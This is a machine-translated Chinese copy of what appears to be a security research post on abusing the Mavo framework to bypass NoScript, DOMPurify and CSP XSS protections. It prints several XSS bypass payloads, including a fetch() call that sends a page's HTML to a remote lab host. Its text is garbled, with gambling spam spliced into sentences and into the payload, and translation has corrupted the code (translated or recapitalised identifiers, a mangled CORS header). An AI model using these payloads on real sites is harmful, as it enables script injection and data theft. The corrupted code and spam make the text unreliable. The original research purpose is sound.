滥用JavaScript框架绕过XSS缓解

在Appsec欧洲塞巴斯蒂安·莱基斯(Sebastian Lekies),Krzysztof Kotowicz和Eduardo Vela Nava展示了如何使用JavaScript框架绕过XSS缓解。在这篇文章中,我将对全新框架进行系统分析马沃可以滥用以绕过XSS缓解,特别是NoScript的XSS滤镜。MAVO旨在通过使用户能够使用纯HTML创建beplay体育能用吗交互式Web应用程序来简化Web开发。它被发布粉碎杂志并引起了我对Twitter的兴趣。因此,我开始研究它的语法和功能。

使用$ URL基于DOM的XSS

Mavo创建了一个称为$ URL的对象,该对象为开发人员访问获取参数提供了方便的方式。例如,如果您想访问get参数“ x”,则将访问$ url对象的“ x”属性。

$ url.x //检索get参数x

不幸的是,这种便利也增加了开发人员引入基于DOM的XSS漏洞的可能性。我于2017年5月31日向CSS工作组报告了一个这样的问题。他们使用mavo管理评论在CSS规范上,他们使用$ URL来分配锚点HREF。HTML看起来像这样:

因此,您可以看到他们使用$ URL对象从URL获取参数规格。但是,只有在检索有效数据时才显示此链接,我需要注入一个也是有效的相对URL的JavaScript URL,因此将检索数据并显示链接。

JavaScript:Alert(1)%252F%252F ..%252FCSS-IMAGES

上面的向量提供了一个有效的相对URL,因此Mavo在不存在的JavaScript中查找数据:Alert(1)文件夹,但随后使用两个双重编码的斜线和“ ..”进行遍历。我使用两个斜线,因此在JavaScript中也充当评论,当执行为JavaScript URL时,它将其余的路径评论。然后它返回到CSS-Images目录中,因此数据已成功加载并显示了URL。

由于MAVO的工作客户端,我们可以在服务器上复制此问题,并且概念证明可在下面获得:

概念证明

(单击CSS图像值并替换内容级别3标题)

远程加载JSON数据

作为MAVO中的功能,可以将任何MAVO应用程序的数据源更改为本地存储或远程位置。这很糟糕,因为您可以将数据控制给攻击者,该攻击者可以使用它来破坏您的网站或注入恶意的JavaScript URL。MAVO网站上的发票演示应用具有此漏洞,可以使用源参数指向外部JSbeplay体育能用吗ON文件并在发票应用程序上自定义数据。

外部JSON文件具有科尔斯标题“访问控制 - 允许孔:*”使数据可以加载跨域。然后,该应用程序使用数据创建锚点HREF:

http://lea.verou.me.me.me

在HREF属性中,发票应用程序使用mavo表达式,从JSON数据中检索“ CompanyUrl”。如果我在外部JSON文件中包括以下内容:

{
“ CompanyLogo”:“ http://lea.verou.me/logo.svg”,
“ CompanyName”:“ PWND PWND”,
“ Company Address”:“ PWND”,
“ CompanyUrl”:“ JavaScript:Alert(1)”,
“ Company Email”:“ PWND”,
...

然后,这将在文档中创建JavaScript URL,因为加载了外部数据并替换当前数据。

概念证明

绕过NoScript XSS检测

默认情况下,MAVO允许您将MavoScript嵌入HTML文档中的方括号内。MavoScript是JavaScript的扩展,并进行了几个小更改。例如,它支持关键字“和”,“或”和“ mod”,它更改了“ =”的行为,而不是分配并支持数学和日期对象中的各种方便功能。您也可以在不使用Max(1,2,3)之类的数学对象的情况下调用数学方法。有关语法的更多信息这里

如果Mavo遇到无效的MavoScript,则返回到标准JavaScript。要强制JavaScript模式,您可以在表达式开始时使用注释。

假设我们想在HTML文档中评估表达式1+1,并且该页面容易受到XSS的影响。mavo使用[]评估像Angular用途{{}}一样的表达式,因此我们将注入以下表达式:

[1+1]

表达示例

MAVO中根本没有沙箱,但是您的代码会重写,并在A语句中执行。要调用警报功能,我们需要使用窗口对象,因此window.alert或self.alert。

[self.Alert(1)]

调用警报

可以通过使用间接电话

[(1,警报)(1)]

MAVO还具有一些有趣的自定义HTML属性。MV表达允许您定义用作表达定界符的字符。例如,如果您想使用Angular的双卷曲语法,则可以使用MV-Expressions属性来做到这一点。

{{top.alert(1)}}}

定义自己的表达定界符

Mavo还支持“属性”属性(由于标准的一部分而不是前缀)。这将DOM元素的值链接到JavaScript变量。Mavo网站的示例很好地证明了这一点。

滑块值:[强度]/100


<输入type =“ range”属性=“强度” title =“ [强度]%” />

MV值和MV-IF很有趣,因为它们允许执行没有[]定界符的表达式。MV-如果表达式评估为False和MV值会评估表达式并更改DOM元素的值,则MV-如果隐藏DOM元素。值得注意的是,这些属性将在任何标签上使用。

隐藏我

内部表达式mavoscript具有一些有趣的行为。只要由字母,数字和下划线组成,您就可以拥有无​​名的字符串。如果对象属性不存在,则将转换为空白字符串。例如。即使这些属性都不存在,您也可以拥有X.Y.Z。

有了所有这些知识,我开始进行测试,以查看是否可以绕过NoScript的XSS过滤器,Dompurify和CSP。我用了测试床Krzysztof Kotowicz创建了。绕过Dompurify非常容易,因为您可以使用Mavo使用数据*属性。通常,在Mavo中,您将使用MV-前缀,但Mavo还支持Data-Mv-*以使文档通过HTML验证。为了使Mavo与CSP一起使用,您必须启用“不安全范围”指令。这很糟糕,因为现在我们现在可以在JavaScript中调用各种评估功能,正如我们所看到的,Mavo也可以让您注入MavoScript/JavaScript表达式。

我和Giorgio Maone(NoScript的创建者),并试图绕过NoScript。我的第一个旁路是使用JavaScript中的“获取”功能证明我可以绕过过滤器并检索并将HTML发送到远程目标。

[1和self.fetch('// subdomain2.porbeplay官网可以赌tswigger-labs.net/&Encodeuricomponent(document.body.innerhtml))]]]]]]]]]]]]]]]]

因为NoScript的过滤器不了解“和”关键字,并且Square Bracket表达式语法我可以绕过检测并使用获取来发送HTML。MAVO还将“&”定义为Concat操作员,我在这里使用它,而不是“+”来连接字符串。

概念证明

然后,Giorgio修改了NoScript的XSS检测,以检查这些新关键字和方括号语法。我能够通过滥用MavoScript解析器再次绕过它。

[''=''或self.alert(lol)]

因此,在这里,MavoScript解析器允许您使用“ =”进行平等测试而不是分配。我用它来逃避了noscript。MavoScript将“或”定义为操作员,因为这不是JavaScript NoScript的一部分。

概念证明

正如我之前提到的,Mavo还允许您在MV-IF属性中执行不带有分配器的表达式。我用它绕过NoScript中的新检测代码。

测试

概念证明

还记得MV表达属性吗?您可以定义自己的定系数,但可以使用任何字符来做到这一点。我再次使用数据属性来逃避dompurify。

lolxself.alert('lol')lolx

概念证明

接下来,我决定查看如何将HTML属性与Mavo一起使用。我查看了锚式HREF属性,因为我正在注入JavaScript URL,我关闭了此向量的CSP检查。

测试

因此,在这里,我们在HREF属性中具有表达。JavaScript实际上是一个字符串,即使没有引号,该&充当Concat操作员,并且加入:警报(1)字符串通知我们这次由于括号而必须使用引号。

概念证明

乔治(Giorgio)改进了noscript,并检测到上述载体。然后,我找到了一个旁路,该旁路使用该元素上的多个属性来走私向量。可以在属性内部使用多个表达式,并且可以连接在一起。

我使用注释强制Mavo中的JavaScript模式。进入JavaScript模式后,我需要为字符串的“ JavaScript”使用引号,然后将字符串与锚属性的值conct。

概念证明

之后,我看了Mavo解析器,因为他们使用字母作为操作员。我可以为我的优势绕过检测,因为NoScript并不期望字母数字遵循函数调用。这也绕过CSP,因为我们不再注入JavaScript URL。因此,请注意Mod是一个操作员,即使没有空格,也允许1跟随操作员。

[self.alert(1)mod1]

概念证明

最终结合了一个事实,即Mavo允许在操作员关键字(例如“和”等)之后直接引用的字符串和未引用的字符串。我再次绕过了检查。

[omglol mod 1 mod self.Alert(1)Andlol]

概念证明

结论

像Mavo这样的框架可以使开发人员的生活更轻松,但是将新的语法引入HTML和JavaScript通常具有无证件的含义,这些含义破坏了CSP,NoScript和Dompurify等安全机制。他们还可以提供新的方法来不知不觉地将DOMXS(例如DOMXS)等传统漏洞引入应用程序,甚至引入新类型的漏洞,例如数据源劫持。

访问我们的网络安全学beplay体育能用吗院了解有关跨站点脚本(XSS)的更多信息

回到所有文章

相关的研究

每日Swig的推荐故事beplay2018官网